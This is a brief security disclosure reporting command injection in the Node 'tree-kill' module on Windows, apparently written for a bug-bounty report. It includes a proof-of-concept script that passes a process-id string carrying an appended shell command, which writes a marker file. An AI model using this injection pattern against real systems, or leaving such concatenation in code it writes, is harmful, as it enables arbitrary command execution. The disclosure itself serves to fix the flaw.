[tree-kill] RCE via insecure command concatenation (only Windows)

I would like to report a `RCE` issue in the `tree-kill` module. It allows to execute `arbitrary commands remotely inside the victim's PC`

// poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');